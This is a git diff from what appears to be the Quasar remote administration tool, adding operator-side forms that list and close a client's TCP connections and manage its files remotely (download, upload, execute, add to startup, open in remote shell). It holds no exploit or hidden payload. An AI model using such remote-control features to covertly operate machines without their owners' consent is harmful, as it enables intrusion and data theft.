+ /// The client used for the connections manager form.
+ ///
+ /// Returns a new connections manager form for the client if there is none currently open, otherwise creates a new one.
+ ///
+ public static FrmConnections CreateNewOrGetExisting(Client client)
+ {
+ if (OpenedForms.ContainsKey(client))
+ {
+ return OpenedForms[client];
+ }
+ FrmConnections f = new FrmConnections(client);
+ f.Disposed += (sender, args) => OpenedForms.Remove(client);
+ OpenedForms.Add(client, f);
+ return f;
+ }
+
+ ///
+ /// Initializes a new instance of the class using the given client.
+ ///
+ /// The client used for the connections manager form.
+ public FrmConnections(Client client)
+ {
+ _connectClient = client;
+ _connectionsHandler = new TcpConnectionsHandler(client);
+
+ RegisterMessageHandler();
+ InitializeComponent();
+ }
+
+ ///
+ /// Registers the connections manager message handler for client communication.
+ ///
+ private void RegisterMessageHandler()
+ {
+ _connectClient.ClientState += ClientDisconnected;
+ _connectionsHandler.ProgressChanged += TcpConnectionsChanged;
+ MessageHandler.Register(_connectionsHandler);
+ }
+
+ ///
+ /// Unregisters the connections manager message handler.
+ ///
+ private void UnregisterMessageHandler()
+ {
+ MessageHandler.Unregister(_connectionsHandler);
+ _connectionsHandler.ProgressChanged -= TcpConnectionsChanged;
+ _connectClient.ClientState -= ClientDisconnected;
+ }
+
+ ///
+ /// Called whenever a client disconnects.
+ ///
+ /// The client which disconnected.
+ /// True if the client connected, false if disconnected
+ private void ClientDisconnected(Client client, bool connected)
+ {
+ if (!connected)
+ {
+ this.Invoke((MethodInvoker)this.Close);
+ }
+ }
+
+ ///
+ /// Called whenever a TCP connection changed.
+ ///
+ /// The message handler which raised the event.
+ /// The current TCP connections of the client.
+ private void TcpConnectionsChanged(object sender, TcpConnection[] connections)
+ {
+ lstConnections.Items.Clear();
+
+ foreach (var con in connections)
+ {
+ string state = con.State.ToString();
+
+ ListViewItem lvi = new ListViewItem(new[]
+ {
+ con.ProcessName, con.LocalAddress, con.LocalPort.ToString(),
+ con.RemoteAddress, con.RemotePort.ToString(), state
+ });
+
+ if (!_groups.ContainsKey(state))
+ {
+ // create new group if not exists already
+ ListViewGroup g = new ListViewGroup(state, state);
+ lstConnections.Groups.Add(g);
+ _groups.Add(state, g);
+ }
+
+ lvi.Group = lstConnections.Groups[state];
+ lstConnections.Items.Add(lvi);
+ }
+ }
+
+ private void FrmConnections_Load(object sender, EventArgs e)
+ {
+ this.Text = WindowHelper.GetWindowTitle("Connections", _connectClient);
+ _connectionsHandler.RefreshTcpConnections();
+ }
+
+ private void FrmConnections_FormClosing(object sender, FormClosingEventArgs e)
+ {
+ UnregisterMessageHandler();
+ }
+
+ private void refreshToolStripMenuItem_Click(object sender, EventArgs e)
+ {
+ _connectionsHandler.RefreshTcpConnections();
+ }
+
+ private void closeConnectionToolStripMenuItem_Click(object sender, EventArgs e)
+ {
+ bool modified = false;
+
+ foreach (ListViewItem lvi in lstConnections.SelectedItems)
+ {
+ _connectionsHandler.CloseTcpConnection(lvi.SubItems[1].Text, ushort.Parse(lvi.SubItems[2].Text),
+ lvi.SubItems[3].Text, ushort.Parse(lvi.SubItems[4].Text));
+ modified = true;
+ }
+
+ if (modified)
+ {
+ _connectionsHandler.RefreshTcpConnections();
+ }
+ }
+
+ private void lstConnections_ColumnClick(object sender, ColumnClickEventArgs e)
+ {
+ lstConnections.LvwColumnSorter.NeedNumberCompare = (e.Column == 2 || e.Column == 4);
+ }
+ }
+}
diff --git a/Server/Forms/FrmPasswordRecovery.resx b/Quasar.Server/Forms/FrmConnections.resx
similarity index 100%
rename from Server/Forms/FrmPasswordRecovery.resx
rename to Quasar.Server/Forms/FrmConnections.resx
diff --git a/Server/Forms/FrmFileManager.Designer.cs b/Quasar.Server/Forms/FrmFileManager.Designer.cs
similarity index 94%
rename from Server/Forms/FrmFileManager.Designer.cs
rename to Quasar.Server/Forms/FrmFileManager.Designer.cs
index b30ebefb2..80810def6 100644
--- a/Server/Forms/FrmFileManager.Designer.cs
+++ b/Quasar.Server/Forms/FrmFileManager.Designer.cs
@@ -1,6 +1,6 @@
-using xServer.Controls;
+using Quasar.Server.Controls;
-namespace xServer.Forms
+namespace Quasar.Server.Forms
{
partial class FrmFileManager
{
@@ -49,14 +49,15 @@ private void InitializeComponent()
this.stripLblStatus = new System.Windows.Forms.ToolStripStatusLabel();
this.contextMenuStripTransfers = new System.Windows.Forms.ContextMenuStrip(this.components);
this.cancelToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
+ this.toolStripMenuItem1 = new System.Windows.Forms.ToolStripSeparator();
this.clearToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
this.imgListTransfers = new System.Windows.Forms.ImageList(this.components);
- this.TabControlFileManager = new xServer.Controls.DotNetBarTabControl();
+ this.TabControlFileManager = new Quasar.Server.Controls.DotNetBarTabControl();
this.tabFileExplorer = new System.Windows.Forms.TabPage();
this.btnRefresh = new System.Windows.Forms.Button();
this.lblPath = new System.Windows.Forms.Label();
this.txtPath = new System.Windows.Forms.TextBox();
- this.lstDirectory = new xServer.Controls.AeroListView();
+ this.lstDirectory = new Quasar.Server.Controls.AeroListView();
this.hName = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader()));
this.hSize = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader()));
this.hType = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader()));
@@ -64,12 +65,11 @@ private void InitializeComponent()
this.cmbDrives = new System.Windows.Forms.ComboBox();
this.tabTransfers = new System.Windows.Forms.TabPage();
this.btnOpenDLFolder = new System.Windows.Forms.Button();
- this.lstTransfers = new xServer.Controls.AeroListView();
+ this.lstTransfers = new Quasar.Server.Controls.AeroListView();
this.hID = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader()));
this.hTransferType = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader()));
this.hStatus = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader()));
this.hFilename = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader()));
- this.toolStripMenuItem1 = new System.Windows.Forms.ToolStripSeparator();
this.contextMenuStripDirectory.SuspendLayout();
this.statusStrip.SuspendLayout();
this.contextMenuStripTransfers.SuspendLayout();
@@ -98,7 +98,7 @@ private void InitializeComponent()
// downloadToolStripMenuItem
//
this.downloadToolStripMenuItem.Font = new System.Drawing.Font("Segoe UI", 9F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
- this.downloadToolStripMenuItem.Image = global::xServer.Properties.Resources.download;
+ this.downloadToolStripMenuItem.Image = ((System.Drawing.Image)(resources.GetObject("downloadToolStripMenuItem.Image")));
this.downloadToolStripMenuItem.Name = "downloadToolStripMenuItem";
this.downloadToolStripMenuItem.Size = new System.Drawing.Size(239, 22);
this.downloadToolStripMenuItem.Text = "Download";
@@ -106,7 +106,7 @@ private void InitializeComponent()
//
// uploadToolStripMenuItem
//
- this.uploadToolStripMenuItem.Image = global::xServer.Properties.Resources.upload;
+ this.uploadToolStripMenuItem.Image = ((System.Drawing.Image)(resources.GetObject("uploadToolStripMenuItem.Image")));
this.uploadToolStripMenuItem.Name = "uploadToolStripMenuItem";
this.uploadToolStripMenuItem.Size = new System.Drawing.Size(239, 22);
this.uploadToolStripMenuItem.Text = "Upload";
@@ -119,7 +119,7 @@ private void InitializeComponent()
//
// executeToolStripMenuItem
//
- this.executeToolStripMenuItem.Image = global::xServer.Properties.Resources.run;
+ this.executeToolStripMenuItem.Image = ((System.Drawing.Image)(resources.GetObject("executeToolStripMenuItem.Image")));
this.executeToolStripMenuItem.Name = "executeToolStripMenuItem";
this.executeToolStripMenuItem.Size = new System.Drawing.Size(239, 22);
this.executeToolStripMenuItem.Text = "Execute";
@@ -127,7 +127,7 @@ private void InitializeComponent()
//
// renameToolStripMenuItem
//
- this.renameToolStripMenuItem.Image = global::xServer.Properties.Resources.textfield_rename;
+ this.renameToolStripMenuItem.Image = global::Quasar.Server.Properties.Resources.textfield_rename;
this.renameToolStripMenuItem.Name = "renameToolStripMenuItem";
this.renameToolStripMenuItem.Size = new System.Drawing.Size(239, 22);
this.renameToolStripMenuItem.Text = "Rename";
@@ -135,7 +135,7 @@ private void InitializeComponent()
//
// deleteToolStripMenuItem
//
- this.deleteToolStripMenuItem.Image = global::xServer.Properties.Resources.delete;
+ this.deleteToolStripMenuItem.Image = global::Quasar.Server.Properties.Resources.delete;
this.deleteToolStripMenuItem.Name = "deleteToolStripMenuItem";
this.deleteToolStripMenuItem.Size = new System.Drawing.Size(239, 22);
this.deleteToolStripMenuItem.Text = "Delete";
@@ -148,7 +148,7 @@ private void InitializeComponent()
//
// addToStartupToolStripMenuItem
//
- this.addToStartupToolStripMenuItem.Image = global::xServer.Properties.Resources.application_add;
+ this.addToStartupToolStripMenuItem.Image = global::Quasar.Server.Properties.Resources.application_add;
this.addToStartupToolStripMenuItem.Name = "addToStartupToolStripMenuItem";
this.addToStartupToolStripMenuItem.Size = new System.Drawing.Size(239, 22);
this.addToStartupToolStripMenuItem.Text = "Add to Startup";
@@ -161,7 +161,7 @@ private void InitializeComponent()
//
// refreshToolStripMenuItem
//
- this.refreshToolStripMenuItem.Image = global::xServer.Properties.Resources.refresh;
+ this.refreshToolStripMenuItem.Image = global::Quasar.Server.Properties.Resources.refresh;
this.refreshToolStripMenuItem.Name = "refreshToolStripMenuItem";
this.refreshToolStripMenuItem.Size = new System.Drawing.Size(239, 22);
this.refreshToolStripMenuItem.Text = "Refresh";
@@ -169,6 +169,7 @@ private void InitializeComponent()
//
// openDirectoryInShellToolStripMenuItem
//
+ this.openDirectoryInShellToolStripMenuItem.Image = global::Quasar.Server.Properties.Resources.terminal;
this.openDirectoryInShellToolStripMenuItem.Name = "openDirectoryInShellToolStripMenuItem";
this.openDirectoryInShellToolStripMenuItem.Size = new System.Drawing.Size(239, 22);
this.openDirectoryInShellToolStripMenuItem.Text = "Open Directory in Remote Shell";
@@ -217,15 +218,20 @@ private void InitializeComponent()
//
// cancelToolStripMenuItem
//
- this.cancelToolStripMenuItem.Image = global::xServer.Properties.Resources.cancel;
+ this.cancelToolStripMenuItem.Image = global::Quasar.Server.Properties.Resources.cancel;
this.cancelToolStripMenuItem.Name = "cancelToolStripMenuItem";
this.cancelToolStripMenuItem.Size = new System.Drawing.Size(149, 22);
this.cancelToolStripMenuItem.Text = "Cancel";
this.cancelToolStripMenuItem.Click += new System.EventHandler(this.cancelToolStripMenuItem_Click);
//
+ // toolStripMenuItem1
+ //
+ this.toolStripMenuItem1.Name = "toolStripMenuItem1";
+ this.toolStripMenuItem1.Size = new System.Drawing.Size(146, 6);
+ //
// clearToolStripMenuItem
//
- this.clearToolStripMenuItem.Image = global::xServer.Properties.Resources.broom;
+ this.clearToolStripMenuItem.Image = global::Quasar.Server.Properties.Resources.broom;
this.clearToolStripMenuItem.Name = "clearToolStripMenuItem";
this.clearToolStripMenuItem.Size = new System.Drawing.Size(149, 22);
this.clearToolStripMenuItem.Text = "Clear transfers";
@@ -273,7 +279,7 @@ private void InitializeComponent()
//
this.btnRefresh.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right)));
this.btnRefresh.FlatStyle = System.Windows.Forms.FlatStyle.Popup;
- this.btnRefresh.Image = global::xServer.Properties.Resources.refresh;
+ this.btnRefresh.Image = global::Quasar.Server.Properties.Resources.refresh;
this.btnRefresh.ImageAlign = System.Drawing.ContentAlignment.BottomCenter;
this.btnRefresh.Location = new System.Drawing.Point(682, 8);
this.btnRefresh.Name = "btnRefresh";
@@ -326,6 +332,7 @@ private void InitializeComponent()
this.lstDirectory.DragDrop += new System.Windows.Forms.DragEventHandler(this.lstDirectory_DragDrop);
this.lstDirectory.DragEnter += new System.Windows.Forms.DragEventHandler(this.lstDirectory_DragEnter);
this.lstDirectory.DoubleClick += new System.EventHandler(this.lstDirectory_DoubleClick);
+ this.lstDirectory.ColumnClick += new System.Windows.Forms.ColumnClickEventHandler(this.lstDirectory_ColumnClick);
//
// hName
//
@@ -424,15 +431,10 @@ private void InitializeComponent()
this.hFilename.Text = "Filename";
this.hFilename.Width = 289;
//
- // toolStripMenuItem1
- //
- this.toolStripMenuItem1.Name = "toolStripMenuItem1";
- this.toolStripMenuItem1.Size = new System.Drawing.Size(146, 6);
- //
// FrmFileManager
//
- this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F);
- this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
+ this.AutoScaleDimensions = new System.Drawing.SizeF(96F, 96F);
+ this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Dpi;
this.ClientSize = new System.Drawing.Size(858, 478);
this.Controls.Add(this.TabControlFileManager);
this.Controls.Add(this.statusStrip);
diff --git a/Quasar.Server/Forms/FrmFileManager.cs b/Quasar.Server/Forms/FrmFileManager.cs
new file mode 100644
index 000000000..5570b2e10
--- /dev/null
+++ b/Quasar.Server/Forms/FrmFileManager.cs
@@ -0,0 +1,556 @@
+using Quasar.Common.Enums;
+using Quasar.Common.Helpers;
+using Quasar.Common.Messages;
+using Quasar.Common.Models;
+using Quasar.Server.Controls;
+using Quasar.Server.Helper;
+using Quasar.Server.Messages;
+using Quasar.Server.Models;
+using Quasar.Server.Networking;
+using System;
+using System.Collections.Generic;
+using System.IO;
+using System.Windows.Forms;
+using Process = System.Diagnostics.Process;
+
+namespace Quasar.Server.Forms
+{
+ public partial class FrmFileManager : Form
+ {
+ ///
+ /// The current remote directory shown in the file manager.
+ ///
+ private string _currentDir;
+
+ ///
+ /// The client which can be used for the file manager.
+ ///
+ private readonly Client _connectClient;
+
+ ///
+ /// The message handler for handling the communication with the client.
+ ///
+ private readonly FileManagerHandler _fileManagerHandler;
+
+ private enum TransferColumn
+ {
+ Id,
+ Type,
+ Status,
+ }
+
+ ///
+ /// Holds the opened file manager form for each client.
+ ///
+ private static readonly Dictionary OpenedForms = new Dictionary();
+
+ ///
+ /// Creates a new file manager form for the client or gets the current open form, if there exists one already.
+ ///
+ /// The client used for the file manager form.
+ ///
+ /// Returns a new file manager form for the client if there is none currently open, otherwise creates a new one.
+ ///
+ public static FrmFileManager CreateNewOrGetExisting(Client client)
+ {
+ if (OpenedForms.ContainsKey(client))
+ {
+ return OpenedForms[client];
+ }
+ FrmFileManager f = new FrmFileManager(client);
+ f.Disposed += (sender, args) => OpenedForms.Remove(client);
+ OpenedForms.Add(client, f);
+ return f;
+ }
+
+ ///
+ /// Initializes a new instance of the class using the given client.
+ ///
+ /// The client used for the file manager form.
+ public FrmFileManager(Client client)
+ {
+ _connectClient = client;
+
+ _fileManagerHandler = new FileManagerHandler(client);
+
+ RegisterMessageHandler();
+ InitializeComponent();
+ }
+
+ ///
+ /// Registers the file manager message handler for client communication.
+ ///
+ private void RegisterMessageHandler()
+ {
+ _connectClient.ClientState += ClientDisconnected;
+ _fileManagerHandler.ProgressChanged += SetStatusMessage;
+ _fileManagerHandler.DrivesChanged += DrivesChanged;
+ _fileManagerHandler.DirectoryChanged += DirectoryChanged;
+ _fileManagerHandler.FileTransferUpdated += FileTransferUpdated;
+ MessageHandler.Register(_fileManagerHandler);
+ }
+
+ ///
+ /// Unregisters the file manager message handler.
+ ///
+ private void UnregisterMessageHandler()
+ {
+ MessageHandler.Unregister(_fileManagerHandler);
+ _fileManagerHandler.ProgressChanged -= SetStatusMessage;
+ _fileManagerHandler.DrivesChanged -= DrivesChanged;
+ _fileManagerHandler.DirectoryChanged -= DirectoryChanged;
+ _fileManagerHandler.FileTransferUpdated -= FileTransferUpdated;
+ _connectClient.ClientState -= ClientDisconnected;
+ }
+
+ ///
+ /// Called whenever a client disconnects.
+ ///
+ /// The client which disconnected.
+ /// True if the client connected, false if disconnected
+ private void ClientDisconnected(Client client, bool connected)
+ {
+ if (!connected)
+ {
+ this.Invoke((MethodInvoker)this.Close);
+ }
+ }
+
+ ///
+ /// Called whenever drives changed.
+ ///
+ /// The message handler which raised the event.
+ /// The currently available drives.
+ private void DrivesChanged(object sender, Drive[] drives)
+ {
+ cmbDrives.Items.Clear();
+ cmbDrives.DisplayMember = "DisplayName";
+ cmbDrives.ValueMember = "RootDirectory";
+ cmbDrives.DataSource = new BindingSource(drives, null);
+
+ SetStatusMessage(this, "Ready");
+ }
+
+ ///
+ /// Called whenever a directory changed.
+ ///
+ /// The message processor which raised the event.
+ /// The remote path of the directory.
+ /// The directory content.
+ private void DirectoryChanged(object sender, string remotePath, FileSystemEntry[] items)
+ {
+ txtPath.Text = remotePath;
+ _currentDir = remotePath;
+
+ lstDirectory.Items.Clear();
+
+ AddItemToFileBrowser("..", 0, FileType.Back, 0);
+ foreach (var item in items)
+ {
+ switch (item.EntryType)
+ {
+ case FileType.Directory:
+ AddItemToFileBrowser(item.Name, 0, item.EntryType, 1);
+ break;
+ case FileType.File:
+ int imageIndex = item.ContentType == null ? 2 : (int)item.ContentType;
+ AddItemToFileBrowser(item.Name, item.Size, item.EntryType, imageIndex);
+ break;
+ }
+ }
+
+ SetStatusMessage(this, "Ready");
+ }
+
+ ///
+ /// Gets the image index of completed or canceled file transfers.
+ ///
+ /// File transfer status used to determine the image index.
+ /// The image index of the file transfer, default -1.
+ private int GetTransferImageIndex(string status)
+ {
+ int imageIndex = -1;
+ switch (status)
+ {
+ case "Completed":
+ imageIndex = 1;
+ break;
+ case "Canceled":
+ imageIndex = 0;
+ break;
+ }
+
+ return imageIndex;
+ }
+
+ ///
+ /// Called whenever a file transfer gets updated.
+ ///
+ /// The message processor which raised the event.
+ /// The updated file transfer.
+ private void FileTransferUpdated(object sender, FileTransfer transfer)
+ {
+ for (var i = 0; i < lstTransfers.Items.Count; i++)
+ {
+ if (lstTransfers.Items[i].SubItems[(int)TransferColumn.Id].Text == transfer.Id.ToString())
+ {
+ lstTransfers.Items[i].SubItems[(int)TransferColumn.Status].Text = transfer.Status;
+ lstTransfers.Items[i].ImageIndex = GetTransferImageIndex(transfer.Status);
+ return;
+ }
+ }
+
+ var lvi = new ListViewItem(new[]
+ {transfer.Id.ToString(), transfer.Type.ToString(), transfer.Status, transfer.RemotePath})
+ {Tag = transfer, ImageIndex = GetTransferImageIndex(transfer.Status)};
+
+ lstTransfers.Items.Add(lvi);
+ }
+
+ ///
+ /// Combines the current path with the new path.
+ ///
+ /// The path to combine with.
+ /// The absolute combined path.
+ private string GetAbsolutePath(string path)
+ {
+ if (!string.IsNullOrEmpty(_currentDir) && _currentDir[0] == '/') // support forward slashes
+ {
+ if (_currentDir.Length == 1)
+ return Path.Combine(_currentDir, path);
+ else
+ return Path.Combine(_currentDir + '/', path);
+ }
+
+ return Path.GetFullPath(Path.Combine(_currentDir, path));
+ }
+
+ ///
+ /// Navigates one directory up in the hierarchical directory tree.
+ ///
+ /// The new directory path.
+ private string NavigateUp()
+ {
+ if (!string.IsNullOrEmpty(_currentDir) && _currentDir[0] == '/') // support forward slashes
+ {
+ if (_currentDir.LastIndexOf('/') > 0)
+ {
+ _currentDir = _currentDir.Remove(_currentDir.LastIndexOf('/') + 1);
+ _currentDir = _currentDir.TrimEnd('/');
+ }
+ else
+ _currentDir = "/";
+
+ return _currentDir;
+ }
+ else
+ return GetAbsolutePath(@"..\");
+ }
+
+ private void FrmFileManager_Load(object sender, EventArgs e)
+ {
+ this.Text = WindowHelper.GetWindowTitle("File Manager", _connectClient);
+ _fileManagerHandler.RefreshDrives();
+ }
+
+ private void FrmFileManager_FormClosing(object sender, FormClosingEventArgs e)
+ {
+ UnregisterMessageHandler();
+ _fileManagerHandler.Dispose();
+ }
+
+ private void cmbDrives_SelectedIndexChanged(object sender, EventArgs e)
+ {
+ SwitchDirectory(cmbDrives.SelectedValue.ToString());
+ }
+
+ private void lstDirectory_DoubleClick(object sender, EventArgs e)
+ {
+ if (lstDirectory.SelectedItems.Count > 0)
+ {
+ FileManagerListTag tag = (FileManagerListTag) lstDirectory.SelectedItems[0].Tag;
+
+ switch (tag.Type)
+ {
+ case FileType.Back:
+ SwitchDirectory(NavigateUp());
+ break;
+ case FileType.Directory:
+ SwitchDirectory(GetAbsolutePath(lstDirectory.SelectedItems[0].SubItems[0].Text));
+ break;
+ }
+ }
+ }
+
+ private void lstDirectory_ColumnClick(object sender, ColumnClickEventArgs e)
+ {
+ lstDirectory.LvwColumnSorter.NeedNumberCompare = (e.Column == 1);
+ }
+
+ private void downloadToolStripMenuItem_Click(object sender, EventArgs e)
+ {
+ foreach (ListViewItem files in lstDirectory.SelectedItems)
+ {
+ FileManagerListTag tag = (FileManagerListTag)files.Tag;
+
+ if (tag.Type == FileType.File)
+ {
+ string remotePath = GetAbsolutePath(files.SubItems[0].Text);
+
+ _fileManagerHandler.BeginDownloadFile(remotePath);
+ }
+ }
+ }
+
+ private void uploadToolStripMenuItem_Click(object sender, EventArgs e)
+ {
+ using (var ofd = new OpenFileDialog())
+ {
+ ofd.Title = "Select files to upload";
+ ofd.Filter = "All files (*.*)|*.*";
+ ofd.Multiselect = true;
+
+ if (ofd.ShowDialog() == DialogResult.OK)
+ {
+ foreach (var localFilePath in ofd.FileNames)
+ {
+ if (!File.Exists(localFilePath)) continue;
+
+ string remotePath = GetAbsolutePath(Path.GetFileName(localFilePath));
+
+ _fileManagerHandler.BeginUploadFile(localFilePath, remotePath);
+ }
+ }
+ }
+ }
+
+ private void executeToolStripMenuItem_Click(object sender, EventArgs e)
+ {
+ foreach (ListViewItem files in lstDirectory.SelectedItems)
+ {
+ FileManagerListTag tag = (FileManagerListTag) files.Tag;
+
+ if (tag.Type == FileType.File)
+ {
+ string remotePath = GetAbsolutePath(files.SubItems[0].Text);
+
+ _fileManagerHandler.StartProcess(remotePath);
+ }
+ }
+ }
+
+ private void renameToolStripMenuItem_Click(object sender, EventArgs e)
+ {
+ foreach (ListViewItem files in lstDirectory.SelectedItems)
+ {
+ FileManagerListTag tag = (FileManagerListTag)files.Tag;
+
+ switch (tag.Type)
+ {
+ case FileType.Directory:
+ case FileType.File:
+ string path = GetAbsolutePath(files.SubItems[0].Text);
+ string newName = files.SubItems[0].Text;
+
+ if (InputBox.Show("New name", "Enter new name:", ref newName) == DialogResult.OK)
+ {
+ newName = GetAbsolutePath(newName);
+ _fileManagerHandler.RenameFile(path, newName, tag.Type);
+ }
+ break;
+ }
+ }
+ }
+
+ private void deleteToolStripMenuItem_Click(object sender, EventArgs e)
+ {
+ int count = lstDirectory.SelectedItems.Count;
+ if (count == 0) return;
+ if (MessageBox.Show(string.Format("Are you sure you want to delete {0} file(s)?", count),
+ "Delete Confirmation", MessageBoxButtons.YesNo, MessageBoxIcon.Question) == DialogResult.Yes)
+ {
+ foreach (ListViewItem files in lstDirectory.SelectedItems)
+ {
+ FileManagerListTag tag = (FileManagerListTag)files.Tag;
+
+ switch (tag.Type)
+ {
+ case FileType.Directory:
+ case FileType.File:
+ string path = GetAbsolutePath(files.SubItems[0].Text);
+ _fileManagerHandler.DeleteFile(path, tag.Type);
+ break;
+ }
+ }
+ }
+ }
+
+ private void addToStartupToolStripMenuItem_Click(object sender, EventArgs e)
+ {
+ foreach (ListViewItem files in lstDirectory.SelectedItems)
+ {
+ FileManagerListTag tag = (FileManagerListTag)files.Tag;
+
+ if (tag.Type == FileType.File)
+ {
+ string path = GetAbsolutePath(files.SubItems[0].Text);
+
+ using (var frm = new FrmStartupAdd(path))
+ {
+ if (frm.ShowDialog() == DialogResult.OK)
+ {
+ _fileManagerHandler.AddToStartup(frm.StartupItem);
+ }
+ }
+ }
+ }
+ }
+
+ private void refreshToolStripMenuItem_Click(object sender, EventArgs e)
+ {
+ RefreshDirectory();
+ }
+
+ private void openDirectoryToolStripMenuItem_Click(object sender, EventArgs e)
+ {
+ string path = _currentDir;
+ if (lstDirectory.SelectedItems.Count == 1)
+ {
+ var item = lstDirectory.SelectedItems[0];
+ FileManagerListTag tag = (FileManagerListTag)item.Tag;
+
+ if (tag.Type == FileType.Directory)
+ {
+ path = GetAbsolutePath(item.SubItems[0].Text);
+ }
+ }
+
+ FrmRemoteShell frmRs = FrmRemoteShell.CreateNewOrGetExisting(_connectClient);
+ frmRs.Show();
+ frmRs.Focus();
+ var driveLetter = Path.GetPathRoot(path);
+ frmRs.RemoteShellHandler.SendCommand($"{driveLetter.Remove(driveLetter.Length - 1)} && cd \"{path}\"");
+ }
+
+ private void btnOpenDLFolder_Click(object sender, EventArgs e)
+ {
+ if (!Directory.Exists(_connectClient.Value.DownloadDirectory))
+ Directory.CreateDirectory(_connectClient.Value.DownloadDirectory);
+
+ Process.Start(_connectClient.Value.DownloadDirectory);
+ }
+
+ private void cancelToolStripMenuItem_Click(object sender, EventArgs e)
+ {
+ foreach (ListViewItem transfer in lstTransfers.SelectedItems)
+ {
+ if (!transfer.SubItems[(int)TransferColumn.Status].Text.StartsWith("Downloading") &&
+ !transfer.SubItems[(int)TransferColumn.Status].Text.StartsWith("Uploading") &&
+ !transfer.SubItems[(int)TransferColumn.Status].Text.StartsWith("Pending")) continue;
+
+ int id = int.Parse(transfer.SubItems[(int)TransferColumn.Id].Text);
+
+ _fileManagerHandler.CancelFileTransfer(id);
+ }
+ }
+
+ private void clearToolStripMenuItem_Click(object sender, EventArgs e)
+ {
+ foreach (ListViewItem transfer in lstTransfers.Items)
+ {
+ if (transfer.SubItems[(int)TransferColumn.Status].Text.StartsWith("Downloading") ||
+ transfer.SubItems[(int)TransferColumn.Status].Text.StartsWith("Uploading") ||
+ transfer.SubItems[(int)TransferColumn.Status].Text.StartsWith("Pending")) continue;
+ transfer.Remove();
+ }
+ }
+
+ private void lstDirectory_DragEnter(object sender, DragEventArgs e)
+ {
+ if (e.Data.GetDataPresent(DataFormats.FileDrop)) // allow drag & drop with files
+ e.Effect = DragDropEffects.Copy;
+ }
+
+ private void lstDirectory_DragDrop(object sender, DragEventArgs e)
+ {
+ if (e.Data.GetDataPresent(DataFormats.FileDrop))
+ {
+ string[] files = (string[])e.Data.GetData(DataFormats.FileDrop);
+ foreach (string localFilePath in files)
+ {
+ if (!File.Exists(localFilePath)) continue;
+
+ string remotePath = GetAbsolutePath(Path.GetFileName(localFilePath));
+
+ _fileManagerHandler.BeginUploadFile(localFilePath, remotePath);
+ }
+ }
+ }
+
+ private void btnRefresh_Click(object sender, EventArgs e)
+ {
+ RefreshDirectory();
+ }
+
+ private void FrmFileManager_KeyDown(object sender, KeyEventArgs e)
+ {
+ // refresh when F5 is pressed
+ if (e.KeyCode == Keys.F5 && !string.IsNullOrEmpty(_currentDir) && TabControlFileManager.SelectedIndex == 0)
+ {
+ RefreshDirectory();
+ e.Handled = true;
+ }
+ }
+
+ ///
+ /// Adds an item to the file browser.
+ ///
+ /// File or directory name.
+ /// File size, for directories use 0.
+ /// File type.
+ /// The image to display for this item.
+ private void AddItemToFileBrowser(string name, long size, FileType type, int imageIndex)
+ {
+ ListViewItem lvi = new ListViewItem(new string[]
+ {
+ name,
+ (type == FileType.File) ? StringHelper.GetHumanReadableFileSize(size) : string.Empty,
+ (type != FileType.Back) ? type.ToString() : string.Empty
+ })
+ {
+ Tag = new FileManagerListTag(type, size),
+ ImageIndex = imageIndex
+ };
+
+ lstDirectory.Items.Add(lvi);
+ }
+
+ ///
+ /// Sets the status of the file manager.
+ ///
+ /// The message handler which raised the event.
+ /// The new status.
+ private void SetStatusMessage(object sender, string message)
+ {
+ stripLblStatus.Text = $"Status: {message}";
+ }
+
+ ///
+ /// Fetches the directory contents of the current directory.
+ ///
+ private void RefreshDirectory()
+ {
+ SwitchDirectory(_currentDir);
+ }
+
+ ///
+ /// Switches to a new directory and fetches the contents of it.
+ ///
+ /// Path of new directory.
+ private void SwitchDirectory(string remotePath)
+ {
+ _fileManagerHandler.GetDirectoryContents(remotePath);
+ SetStatusMessage(this, "Loading directory content...");
+ }
+ }
+}
\ No newline at end of file
diff --git a/Server/Forms/FrmFileManager.resx b/Quasar.Server/Forms/FrmFileManager.resx
similarity index 95%
rename from Server/Forms/FrmFileManager.resx
rename to Quasar.Server/Forms/FrmFileManager.resx
index 257105c60..3cfb31ce5 100644
--- a/Server/Forms/FrmFileManager.resx
+++ b/Quasar.Server/Forms/FrmFileManager.resx
@@ -120,6 +120,47 @@
297, 17
+
+
+
+ iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAABGdBTUEAAK/INwWK6QAAABl0RVh0U29m
+ dHdhcmUAQWRvYmUgSW1hZ2VSZWFkeXHJZTwAAAFqSURBVDhPpc/PK8NxHMfxnfwdGEZxkFo7mANN2ljT
+ Yi2t1eY7I4v8KovFtGRm2A/NWsOE0C5yUIoZ2/Ij82P5kT/E8eXzOaxsex+Uw/Pwfnxel48IwL8ikTeR
+ sWI8PYDRpADbhYkRvSORN5ay4PgjhsP3bVjPDIzoHYm8kYQZB29R7OUiMJ/oGdE7EnlD50bs5sLYeQ3B
+ cKRlRO9I5Amnfdh62UDkKQBdTM2I3pHIM8Z7Ec76EXpcgybcwYjekcjT72sQfPDCf78Mpa+VEb0jkaeN
+ KrF+54b3dhFt7mZG9I5EXmdQAU/GhaW0E3KnlBG9I1EVaJP1hNVYTM3Dde2A1N7IuHTHKwH23zOFR/49
+ HBfgTM5i7soOjU+Fepvku9ZadV68Lzh47L9lLQuyT91mNxyJacxcTkG10g6JRfwlNpWXFe8Ljt81TTZk
+ u1Y7oPQoUCNUPlMbHon56garb6r7K26pt3wk/j2IfgAWX9VTaFdYCgAAAABJRU5ErkJggg==
+
+
+
+
+ iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAABGdBTUEAAK/INwWK6QAAABl0RVh0U29m
